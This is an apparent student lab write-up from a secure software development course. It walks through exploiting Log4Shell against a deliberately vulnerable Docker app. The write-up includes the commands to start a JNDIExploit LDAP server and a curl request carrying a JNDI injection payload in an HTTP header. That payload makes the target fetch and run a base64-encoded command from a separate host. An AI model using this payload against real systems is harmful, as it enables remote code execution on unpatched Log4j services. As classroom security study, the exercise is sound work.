Project 4b

LOG4SHELL EXPLOIT

Luke Allevato | CSC245380: Secure Software Development | 3/23/2022

Exploiting Log4Shell

Note: Be sure to change all IP addresses (except the first IP address in the `curl` command) to your local machine.

Also, make sure you are running JDK 8. This program was tested with JDK 16 and was found to not be compatible.

Step 1: Open Command Prompt and run the command `docker run --name log4shell-vulnerable-app --rm -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app`

Step 2: Open a new Command Prompt window and `cd` to the directory where your `JNDIExploit-1.2-SNAPSHOT.jar` file is located (for me, Downloads\Log4shell_JNDIExploit-main\Log4shellJNDIExploit-main\JNDIExploit.v1.2). Then, run the command `java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 10.0.0.249 -p 8888`

Step 3: Open a new Command Prompt window and run the command `curl 127.0.0.1:8080 -H "X-Api-Version: ${jndi:ldap://10.0.0.249:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}"`. This step attacks the application with a `touch /tmp/pwned` command.

Step 4: Verify you have attacked the application by running the command `docker exec log4shell-vulnerable-app ls /tmp`. You should see the `pwned` file as a result of the remote code execution.

References

https://github.com/christophetd/log4shell-vulnerable-app

https://www.happycoders.eu/java/how-to-switch-multiple-java-versions-windows/